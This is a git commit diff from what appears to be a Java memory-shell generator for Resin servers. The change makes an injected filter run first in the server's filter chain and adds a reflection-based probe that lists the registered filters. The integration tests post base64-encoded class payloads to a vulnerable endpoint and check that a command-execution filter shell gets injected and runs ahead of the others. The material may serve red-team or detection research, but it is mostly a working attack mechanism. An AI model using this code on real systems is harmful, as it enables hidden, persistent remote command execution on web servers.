feat: support addFilterFirst for resin

generator/src/main/java/com/reajason/javaweb/memshell/injector/resin/ResinFilterInjector.java

@@ -136,6 +136,11 @@ public class ResinFilterInjector {
         invokeMethod(urlPattern, "addText", new Class[]{String.class}, new Object[]{getUrlPattern()});
         invokeMethod(urlPattern, "init", null, null);
         invokeMethod(context, "addFilterMapping", new Class[]{filterMappingClass}, new Object[]{filterMappingImpl});
+
+        List filterMappings = (List) getFieldValue(getFieldValue(context, "_filterMapper"), "_filterMap");
+        filterMappings.remove(filterMappingImpl);
+        filterMappings.add(0, filterMappingImpl);
+
         invokeMethod(context, "clearCache", null, null);
     }
 

generator/src/main/java/com/reajason/javaweb/probe/payload/filter/ResinFilterProbe.java

@@ -0,0 +1,213 @@
+package com.reajason.javaweb.probe.payload.filter;
+
+import java.io.ByteArrayOutputStream;
+import java.io.PrintStream;
+import java.lang.reflect.Field;
+import java.lang.reflect.Method;
+import java.util.*;
+
+/**
+ * @author ReaJason
+ */
+public class ResinFilterProbe {
+
+    @Override
+    public String toString() {
+        String msg = "";
+        Map<String, List<Map<String, String>>> allFiltersData = new LinkedHashMap<String, List<Map<String, String>>>();
+        Set<Object> contexts = null;
+        try {
+            contexts = getContext();
+        } catch (Throwable throwable) {
+            msg += "context error: " + getErrorMessage(throwable);
+        }
+        if (contexts == null || contexts.isEmpty()) {
+            msg += "context not found\n";
+        } else {
+            for (Object context : contexts) {
+                String contextRoot = getContextRoot(context);
+                List<Map<String, String>> filters = collectFiltersData(context);
+                allFiltersData.put(contextRoot, filters);
+            }
+            msg += formatFiltersData(allFiltersData);
+        }
+        return msg;
+    }
+
+    private List<Map<String, String>> collectFiltersData(Object context) {
+        List<Map<String, String>> result = new ArrayList<>();
+        try {
+            Object filterMapper = getFieldValue(context, "_filterMapper");
+            Object filterManager = getFieldValue(context, "_filterManager");
+            if (filterMapper == null) return Collections.emptyList();
+            ArrayList<Object> filterMappings = (ArrayList<Object>) getFieldValue(filterMapper, "_filterMap");
+            for (Object filterMapping : filterMappings) {
+                Map<String, String> info = new HashMap<>();
+                String filterName = (String) invokeMethod(filterMapping, "getFilterName", null, null);
+                info.put("filterName", filterName);
+                String filterClassName = (String) invokeMethod(filterMapping, "getFilterClassName", null, null);
+                try {
+                    if (filterClassName == null) {
+                        Class<?> filterClass = (Class<?>) invokeMethod(filterMapping, "getFilterClass", null, null);
+                        if (filterClass != null) {
+                            filterClassName = filterClass.getName();
+                        } else {
+                            Object filter = ((Map<String, Object>) getFieldValue(filterManager, "_instances")).get(filterName);
+                            if (filter != null) {
+                                filterClassName = filter.getClass().getName();
+                            }
+                        }
+                    }
+                } catch (Exception ignored) {
+                }
+                info.put("filterClass", filterClassName != null ? filterClassName : "N/A");
+
+                List<String> urlPatterns = new ArrayList<>();
+                String urlPattern = invokeMethod(filterMapping, "getURLPattern", null, null).toString();
+                if (urlPattern == null || urlPattern.isEmpty()) {
+                    List<Object> matchList = (List<Object>) getFieldValue(filterMapping, "_matchList");
+                    if (matchList != null && !matchList.isEmpty()) {
+                        for (Object match : matchList) {
+                            if (((Integer) getFieldValue(match, "_value")) == 1) {
+                                urlPatterns.add(getFieldValue(match, "_regex").toString());
+                            }
+                        }
+                    }
+                } else {
+                    urlPatterns.add(urlPattern);
+                }
+                info.put("urlPatterns", Arrays.toString(urlPatterns.toArray()));
+                result.add(info);
+            }
+        } catch (Exception ignored) {
+        }
+        return result;
+    }
+
+    @SuppressWarnings("all")
+    private String formatFiltersData(Map<String, List<Map<String, String>>> allFiltersData) {
+        StringBuilder output = new StringBuilder();
+        for (Map.Entry<String, List<Map<String, String>>> entry : allFiltersData.entrySet()) {
+            String context = entry.getKey();
+            List<Map<String, String>> filters = entry.getValue();
+            output.append("Context: ").append(context).append("\n");
+            if (filters.isEmpty()) {
+                output.append("No filters found\n");
+            } else if (filters.size() == 1 && filters.get(0).containsKey("error")) {
+                output.append(filters.get(0).get("error")).append("\n");
+            } else {
+                for (Map<String, String> info : filters) {
+                    appendIfPresent(output, "", info.get("filterName"), "");
+                    appendIfPresent(output, " -> ", info.get("filterClass"), "");
+                    appendIfPresent(output, " -> URL:", info.get("urlPatterns"), "");
+                    output.append("\n");
+                }
+            }
+        }
+        return output.toString();
+    }
+
+    private void appendIfPresent(StringBuilder sb, String prefix, String value, String suffix) {
+        if (value != null && !value.isEmpty()) {
+            sb.append(prefix).append(value).append(suffix);
+        }
+    }
+
+    @SuppressWarnings("all")
+    private String getContextRoot(Object context) {
+        String r = null;
+        try {
+            r = (String) invokeMethod(context, "getContextPath", null, null);
+        } catch (Exception ignored) {
+        }
+        String c = context.getClass().getName();
+        if (r == null) {
+            return c;
+        }
+        if (r.isEmpty()) {
+            return c + "(/)";
+        }
+        return c + "(" + r + ")";
+    }
+
+    /**
+     * com.caucho.server.webapp.Application
+     * /usr/local/resin3/lib/resin.jar
+     */
+    public Set<Object> getContext() throws Exception {
+        Set<Object> contexts = new HashSet<Object>();
+        Set<Thread> threads = Thread.getAllStackTraces().keySet();
+        for (Thread thread : threads) {
+            Class<?> servletInvocationClass = null;
+            try {
+                servletInvocationClass = thread.getContextClassLoader()
+                        .loadClass("com.caucho.server.dispatch.ServletInvocation");
+            } catch (Exception e) {
+                continue;
+            }
+            if (servletInvocationClass != null) {
+                Object contextRequest = servletInvocationClass.getMethod("getContextRequest").invoke(null);
+                Object webApp = invokeMethod(contextRequest, "getWebApp", new Class[0], new Object[0]);
+                contexts.add(webApp);
+            }
+        }
+        return contexts;
+    }
+
+    @SuppressWarnings("all")
+    public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) {
+        try {
+            Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
+            Method method = null;
+            while (clazz != null && method == null) {
+                try {
+                    if (paramClazz == null) {
+                        method = clazz.getDeclaredMethod(methodName);
+                    } else {
+                        method = clazz.getDeclaredMethod(methodName, paramClazz);
+                    }
+                } catch (NoSuchMethodException e) {
+                    clazz = clazz.getSuperclass();
+                }
+            }
+            if (method == null) {
+                throw new NoSuchMethodException("Method not found: " + methodName);
+            }
+
+            method.setAccessible(true);
+            return method.invoke(obj instanceof Class ? null : obj, param);
+        } catch (Exception e) {
+            throw new RuntimeException("Error invoking method: " + methodName, e);
+        }
+    }
+
+    @SuppressWarnings("all")
+    public static Object getFieldValue(Object obj, String name) throws Exception {
+        Class<?> clazz = obj.getClass();
+        while (clazz != Object.class) {
+            try {
+                Field field = clazz.getDeclaredField(name);
+                field.setAccessible(true);
+                return field.get(obj);
+            } catch (NoSuchFieldException var5) {
+                clazz = clazz.getSuperclass();
+            }
+        }
+        throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
+    }
+
+    @SuppressWarnings("all")
+    private String getErrorMessage(Throwable throwable) {
+        PrintStream printStream = null;
+        try {
+            ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
+            printStream = new PrintStream(outputStream);
+            throwable.printStackTrace(printStream);
+            return outputStream.toString();
+        } finally {
+            if (printStream != null) {
+                printStream.close();
+            }
+        }
+    }
+}

integration-test/src/test/java/com/reajason/javaweb/integration/probe/DetectionTool.java

@@ -5,6 +5,7 @@ import com.reajason.javaweb.probe.payload.BasicInfoPrinter;
 import com.reajason.javaweb.probe.payload.JdkProbe;
 import com.reajason.javaweb.probe.payload.ServerProbe;
 import com.reajason.javaweb.probe.payload.filter.JettyFilterProbe;
+import com.reajason.javaweb.probe.payload.filter.ResinFilterProbe;
 import com.reajason.javaweb.probe.payload.filter.TomcatFilterProbe;
 import com.reajason.javaweb.utils.CommonUtil;
 import net.bytebuddy.ByteBuddy;
@@ -43,4 +44,8 @@ public class DetectionTool {
     public static String getJettyFilterProbe() {
         return getBase64Class(JettyFilterProbe.class);
     }
+
+    public static String getResinFilterProbe() {
+        return getBase64Class(ResinFilterProbe.class);
+    }
 }

integration-test/src/test/java/com/reajason/javaweb/integration/probe/resin/Resin3116ContainerTest.java

@@ -4,9 +4,13 @@ import com.reajason.javaweb.Server;
 import com.reajason.javaweb.integration.ProbeAssertion;
 import com.reajason.javaweb.integration.VulTool;
 import com.reajason.javaweb.integration.probe.DetectionTool;
+import com.reajason.javaweb.memshell.ShellTool;
+import com.reajason.javaweb.memshell.ShellType;
+import com.reajason.javaweb.packer.Packers;
 import lombok.SneakyThrows;
 import lombok.extern.slf4j.Slf4j;
 import net.bytebuddy.jar.asm.Opcodes;
+import org.junit.jupiter.api.AfterAll;
 import org.junit.jupiter.api.Test;
 import org.testcontainers.containers.GenericContainer;
 import org.testcontainers.containers.wait.strategy.Wait;
@@ -15,9 +19,13 @@ import org.testcontainers.junit.jupiter.Testcontainers;
 
 import java.nio.file.Files;
 import java.nio.file.Paths;
+import java.util.List;
 
 import static com.reajason.javaweb.integration.ContainerTool.getUrl;
 import static com.reajason.javaweb.integration.ContainerTool.warFile;
+import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk;
+import static org.hamcrest.CoreMatchers.*;
+import static org.hamcrest.MatcherAssert.assertThat;
 import static org.junit.jupiter.api.Assertions.assertEquals;
 
 /**
@@ -69,4 +77,24 @@ public class Resin3116ContainerTest {
         String url = getUrl(container);
         ProbeAssertion.responseBytecodeIsOk(url, Server.Resin, Opcodes.V1_8);
     }
+
+    @Test
+    void testFilterProbe() {
+        String url = getUrl(container);
+        String data = VulTool.post(url + "/b64", DetectionTool.getResinFilterProbe());
+        System.out.println(data);
+        assertThat(data, anyOf(
+                containsString("Context: ")
+        ));
+    }
+
+    @Test
+    void testFilterFirstInject() {
+        String url = getUrl(container);
+        shellInjectIsOk(url, Server.Resin, ShellType.FILTER, ShellTool.Command, org.objectweb.asm.Opcodes.V1_6, Packers.BigInteger, container);
+        String data = VulTool.post(url + "/b64", DetectionTool.getResinFilterProbe());
+        List<String> filter = ProbeAssertion.getFiltersForContext(data, "/app");
+        String filterName = ProbeAssertion.extractFilterName(filter.get(0));
+        assertThat(filterName, anyOf(startsWith("com.caucho.server.dispatch.handlers")));
+    }
 }

integration-test/src/test/java/com/reajason/javaweb/integration/probe/resin/Resin318ContainerTest.java

@@ -4,9 +4,13 @@ import com.reajason.javaweb.Server;
 import com.reajason.javaweb.integration.ProbeAssertion;
 import com.reajason.javaweb.integration.VulTool;
 import com.reajason.javaweb.integration.probe.DetectionTool;
+import com.reajason.javaweb.memshell.ShellTool;
+import com.reajason.javaweb.memshell.ShellType;
+import com.reajason.javaweb.packer.Packers;
 import lombok.SneakyThrows;
 import lombok.extern.slf4j.Slf4j;
 import net.bytebuddy.jar.asm.Opcodes;
+import org.junit.jupiter.api.AfterAll;
 import org.junit.jupiter.api.Test;
 import org.testcontainers.containers.GenericContainer;
 import org.testcontainers.containers.wait.strategy.Wait;
@@ -15,9 +19,13 @@ import org.testcontainers.junit.jupiter.Testcontainers;
 
 import java.nio.file.Files;
 import java.nio.file.Paths;
+import java.util.List;
 
 import static com.reajason.javaweb.integration.ContainerTool.getUrl;
 import static com.reajason.javaweb.integration.ContainerTool.warFile;
+import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk;
+import static org.hamcrest.CoreMatchers.*;
+import static org.hamcrest.MatcherAssert.assertThat;
 import static org.junit.jupiter.api.Assertions.assertEquals;
 
 /**
@@ -34,6 +42,11 @@ public class Resin318ContainerTest {
             .waitingFor(Wait.forHttp("/app"))
             .withExposedPorts(8080);
 
+    @AfterAll
+    public static void tearDown() {
+        log.info(container.getLogs());
+    }
+
     @Test
     void testJDK() {
         String url = getUrl(container);
@@ -69,4 +82,24 @@ public class Resin318ContainerTest {
         String url = getUrl(container);
         ProbeAssertion.responseBytecodeIsOk(url, Server.Resin, Opcodes.V1_7);
     }
+
+    @Test
+    void testFilterProbe() {
+        String url = getUrl(container);
+        String data = VulTool.post(url + "/b64", DetectionTool.getResinFilterProbe());
+        System.out.println(data);
+        assertThat(data, anyOf(
+                containsString("Context: ")
+        ));
+    }
+
+    @Test
+    void testFilterFirstInject() {
+        String url = getUrl(container);
+        shellInjectIsOk(url, Server.Resin, ShellType.FILTER, ShellTool.Command, org.objectweb.asm.Opcodes.V1_6, Packers.BigInteger, container);
+        String data = VulTool.post(url + "/b64", DetectionTool.getResinFilterProbe());
+        List<String> filter = ProbeAssertion.getFiltersForContext(data, "/app");
+        String filterName = ProbeAssertion.extractFilterName(filter.get(0));
+        assertThat(filterName, anyOf(startsWith("com.caucho.server.dispatch.handlers")));
+    }
 }

integration-test/src/test/java/com/reajason/javaweb/integration/probe/resin/Resin4058ContainerTest.java

@@ -4,6 +4,9 @@ import com.reajason.javaweb.Server;
 import com.reajason.javaweb.integration.ProbeAssertion;
 import com.reajason.javaweb.integration.VulTool;
 import com.reajason.javaweb.integration.probe.DetectionTool;
+import com.reajason.javaweb.memshell.ShellTool;
+import com.reajason.javaweb.memshell.ShellType;
+import com.reajason.javaweb.packer.Packers;
 import lombok.SneakyThrows;
 import lombok.extern.slf4j.Slf4j;
 import net.bytebuddy.jar.asm.Opcodes;
@@ -15,9 +18,13 @@ import org.testcontainers.junit.jupiter.Testcontainers;
 
 import java.nio.file.Files;
 import java.nio.file.Paths;
+import java.util.List;
 
 import static com.reajason.javaweb.integration.ContainerTool.getUrl;
 import static com.reajason.javaweb.integration.ContainerTool.warFile;
+import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk;
+import static org.hamcrest.CoreMatchers.*;
+import static org.hamcrest.MatcherAssert.assertThat;
 import static org.junit.jupiter.api.Assertions.assertEquals;
 
 /**
@@ -69,4 +76,24 @@ public class Resin4058ContainerTest {
         String url = getUrl(container);
         ProbeAssertion.responseBytecodeIsOk(url, Server.Resin, Opcodes.V1_8);
     }
+
+    @Test
+    void testFilterProbe() {
+        String url = getUrl(container);
+        String data = VulTool.post(url + "/b64", DetectionTool.getResinFilterProbe());
+        System.out.println(data);
+        assertThat(data, anyOf(
+                containsString("Context: ")
+        ));
+    }
+
+    @Test
+    void testFilterFirstInject() {
+        String url = getUrl(container);
+        shellInjectIsOk(url, Server.Resin, ShellType.FILTER, ShellTool.Command, org.objectweb.asm.Opcodes.V1_6, Packers.BigInteger, container);
+        String data = VulTool.post(url + "/b64", DetectionTool.getResinFilterProbe());
+        List<String> filter = ProbeAssertion.getFiltersForContext(data, "/app");
+        String filterName = ProbeAssertion.extractFilterName(filter.get(0));
+        assertThat(filterName, anyOf(startsWith("com.caucho.server.dispatch.handlers")));
+    }
 }

integration-test/src/test/java/com/reajason/javaweb/integration/probe/resin/Resin4067ContainerTest.java

@@ -4,6 +4,9 @@ import com.reajason.javaweb.Server;
 import com.reajason.javaweb.integration.ProbeAssertion;
 import com.reajason.javaweb.integration.VulTool;
 import com.reajason.javaweb.integration.probe.DetectionTool;
+import com.reajason.javaweb.memshell.ShellTool;
+import com.reajason.javaweb.memshell.ShellType;
+import com.reajason.javaweb.packer.Packers;
 import lombok.SneakyThrows;
 import lombok.extern.slf4j.Slf4j;
 import net.bytebuddy.jar.asm.Opcodes;
@@ -15,9 +18,13 @@ import org.testcontainers.junit.jupiter.Testcontainers;
 
 import java.nio.file.Files;
 import java.nio.file.Paths;
+import java.util.List;
 
 import static com.reajason.javaweb.integration.ContainerTool.getUrl;
 import static com.reajason.javaweb.integration.ContainerTool.warFile;
+import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk;
+import static org.hamcrest.CoreMatchers.*;
+import static org.hamcrest.MatcherAssert.assertThat;
 import static org.junit.jupiter.api.Assertions.assertEquals;
 
 /**
@@ -69,4 +76,24 @@ public class Resin4067ContainerTest {
         String url = getUrl(container);
         ProbeAssertion.responseBytecodeIsOk(url, Server.Resin, Opcodes.V11);
     }
+
+    @Test
+    void testFilterProbe() {
+        String url = getUrl(container);
+        String data = VulTool.post(url + "/b64", DetectionTool.getResinFilterProbe());
+        System.out.println(data);
+        assertThat(data, anyOf(
+                containsString("Context: ")
+        ));
+    }
+
+    @Test
+    void testFilterFirstInject() {
+        String url = getUrl(container);
+        shellInjectIsOk(url, Server.Resin, ShellType.FILTER, ShellTool.Command, org.objectweb.asm.Opcodes.V1_6, Packers.BigInteger, container);
+        String data = VulTool.post(url + "/b64", DetectionTool.getResinFilterProbe());
+        List<String> filter = ProbeAssertion.getFiltersForContext(data, "/app");
+        String filterName = ProbeAssertion.extractFilterName(filter.get(0));
+        assertThat(filterName, anyOf(startsWith("com.caucho.server.dispatch.handlers")));
+    }
 }